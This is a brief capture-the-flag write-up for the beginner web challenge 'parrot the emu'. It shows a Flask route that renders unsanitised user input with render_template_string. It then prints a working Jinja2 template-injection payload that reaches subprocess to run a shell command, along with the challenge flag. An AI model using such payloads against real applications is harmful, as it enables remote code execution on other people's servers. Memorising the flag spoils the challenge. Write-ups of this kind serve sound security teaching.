parrot the emu

by mH4ck3r0n3 / aetruria

Tags: web beginner

Rating: 4.0

This challenge presents an SSTI (Server Side Template Injection). In fact, upon examining the server's source code (app.py), we can observe the following snippet:

```
if request.method == 'POST':
   user_input = request.form.get('user_input')
   try:
       result = render_template_string(user_input)
   except Exception as e:
       result = str(e)
```

The code takes user_input without applying any sanitization and directly renders it. This vulnerability allows us to inject a malicious template, such as:

```
{{ ''.__class__.__mro__[1].__subclasses__()[213]('/usr/bin/cat flag', shell=True, stdout=-1).communicate() }}
```

the aftermentioned template allows us to print the output of the flag file, which contains the challenge flag:

DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}

Comments